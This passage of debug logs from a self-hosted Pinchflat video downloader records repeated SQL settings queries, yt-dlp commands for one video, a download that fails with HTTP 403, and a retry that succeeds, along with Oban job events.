s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:01.784 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:01.784 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/83/08/8308b64d59ff0384bca280133223fbe0d91d6f9762452b4fb06bcb38d5247221.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:02:05.885 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/83/08/8308b64d59ff0384bca280133223fbe0d91d6f9762452b4fb06bcb38d5247221.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:02:05.885 [debug] Running yt-dlp command for action: download 19:02:05.885 [debug] QUERY OK source="settings" db=0.1ms idle=111.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:05.886 [debug] QUERY OK source="settings" db=0.2ms idle=103.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:05.886 [debug] QUERY OK source="settings" db=0.2ms idle=104.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:05.887 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/cd/9c/cd9cba3c62934fc7251d416c6990075f261231f7d9c8b69480b138dfd57d90c0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:02:13.116 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/cd/9c/cd9cba3c62934fc7251d416c6990075f261231f7d9c8b69480b138dfd57d90c0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: unable to download video data: HTTP Error 403: Forbidden 19:02:13.116 [error] yt-dlp download error for media item #482073: "ERROR: unable to download video data: HTTP Error 403: Forbidden\n" 19:02:13.117 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":482073,"quality_upgrade?":true},"id":17080,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":11340709,"event":"job:exception","queue_time":155852,"attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:02:17.700 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:47.192 [info] GET / 19:02:47.192 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:02:47.193 [debug] QUERY OK source="settings" db=0.1ms idle=1410.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:47.193 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1374.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:02:47.193 [debug] QUERY OK source="sources" db=0.1ms idle=411.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:02:47.194 [debug] QUERY OK source="media_items" db=1.0ms idle=411.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:02:47.195 [debug] QUERY OK source="media_items" db=0.3ms idle=373.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:02:47.195 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:47.195 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:47.196 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:02:47.197 [debug] QUERY OK source="tasks" db=0.2ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:02:47.197 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:02:47.198 [debug] QUERY OK source="media_items" db=0.4ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:02:47.199 [debug] QUERY OK source="sources" db=0.2ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 19:02:47.201 [debug] QUERY OK source="media_items" db=1.4ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 19:02:47.202 [debug] QUERY OK source="media_items" db=0.9ms idle=4.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 19:02:47.203 [info] Sent 200 in 10ms 19:02:47.702 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.160 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:03:01.845 [info] {"args":{"id":482073,"quality_upgrade?":true},"id":17080,"meta":{},"system_time":1787191381844982220,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:03:01.845 [debug] QUERY OK source="media_items" db=0.1ms idle=1062.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [482073] 19:03:01.845 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:03:01.846 [debug] QUERY OK source="sources" db=0.3ms idle=1008.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:03:01.851 [debug] QUERY OK source="media_metadata" db=0.2ms idle=68.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [482073] 19:03:01.851 [debug] QUERY OK source="media_profiles" db=0.2ms idle=12.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:03:01.852 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:01.852 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:01.852 [debug] Running yt-dlp command for action: get_downloadable_status 19:03:01.853 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:01.853 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:01.853 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:01.854 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a4/54/a454e02219838ba0df2ca3090705bdc1dda05f17ae8dc6a2f9aec1e801151a5a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:03:04.435 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a4/54/a454e02219838ba0df2ca3090705bdc1dda05f17ae8dc6a2f9aec1e801151a5a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:03:04.435 [debug] Running yt-dlp command for action: download 19:03:04.436 [debug] QUERY OK source="settings" db=0.2ms idle=653.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:04.436 [debug] QUERY OK source="settings" db=0.1ms idle=653.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:04.436 [debug] QUERY OK source="settings" db=0.1ms idle=653.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:03:04.436 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2a/a7/2aa7605fdeedc561583d2661eb1838c0b80c39c4d877e2d382e5d4fb58d6e254.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:03:17.704 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:47.706 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.161 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:04:05.273 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S99 - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2a/a7/2aa7605fdeedc561583d2661eb1838c0b80c39c4d877e2d382e5d4fb58d6e254.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: WARNING: Replacing existing file "/downloads/shows/Maizen/Season 2026/s2026e081899 - Why JJ And Mikey Ate ENTIRE World?-thumb.jpg" 19:04:05.292 [debug] Running yt-dlp command for action: download_thumbnail 19:04:05.293 [debug] QUERY OK source="settings" db=0.1ms idle=1510.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:04:05.293 [debug] QUERY OK source="settings" db=0.1ms idle=1510.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:04:05.293 [debug] QUERY OK source="settings" db=0.1ms idle=1388.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:04:05.293 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/482073/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/15/ee/15ee880058ca13d6288247b30bf2e122332164958cff16fd6ef2157734fbdc35.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:04:08.096 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=2-aPfodzXeE --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/482073/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/15/ee/15ee880058ca13d6288247b30bf2e122332164958cff16fd6ef2157734fbdc35.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:04:08.097 [debug] QUERY OK source="media_items" db=0.5ms idle=1314.5ms UPDATE "media_items" SET "media_downloaded_at" = ?, "predicted_media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 02:04:05Z], "/downloads/shows/Maizen/Season 2026/s2026e081899 - Why JJ And Mikey Ate ENTIRE World?.mp4", ~U[2026-08-20 02:04:08Z], 482073] 19:04:08.098 [debug] QUERY OK source="media_items" db=0.4ms idle=1315.2ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? [nil, ~U[2026-08-20 02:04:08Z], 482073] 19:04:08.098 [debug] QUERY OK source="media_items" db=0.5ms idle=1315.8ms UPDATE "media_items" SET "media_redownloaded_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 02:04:08Z], ~U[2026-08-20 02:04:08Z], 482073] 19:04:08.099 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:04:08.099 [info] {"args":{"id":482073,"quality_upgrade?":true},"id":17080,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":66254102,"event":"job:stop","queue_time":727096,"attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:04:17.708 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:47.710 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.162 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:05:00.362 [info] GET / 19:05:00.362 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 19:05:00.362 [debug] QUERY OK source="settings" db=0.2ms idle=1384.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:00.363 [debug] QUERY OK source="media_profiles" db=0.1ms idle=580.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 19:05:00.363 [debug] QUERY OK source="sources" db=0.1ms idle=580.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 19:05:00.364 [debug] QUERY OK source="media_items" db=1.0ms idle=383.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:05:00.364 [debug] QUERY OK source="media_items" db=0.3ms idle=201.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:05:00.365 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:00.365 [debug] QUERY OK source="settings" db=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:00.366 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:05:00.367 [debug] QUERY OK source="tasks" db=0.2ms idle=2.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 19:05:00.368 [debug] QUERY OK source="media_items" db=0.3ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 19:05:00.368 [debug] QUERY OK source="media_items" db=0.4ms idle=2.8ms 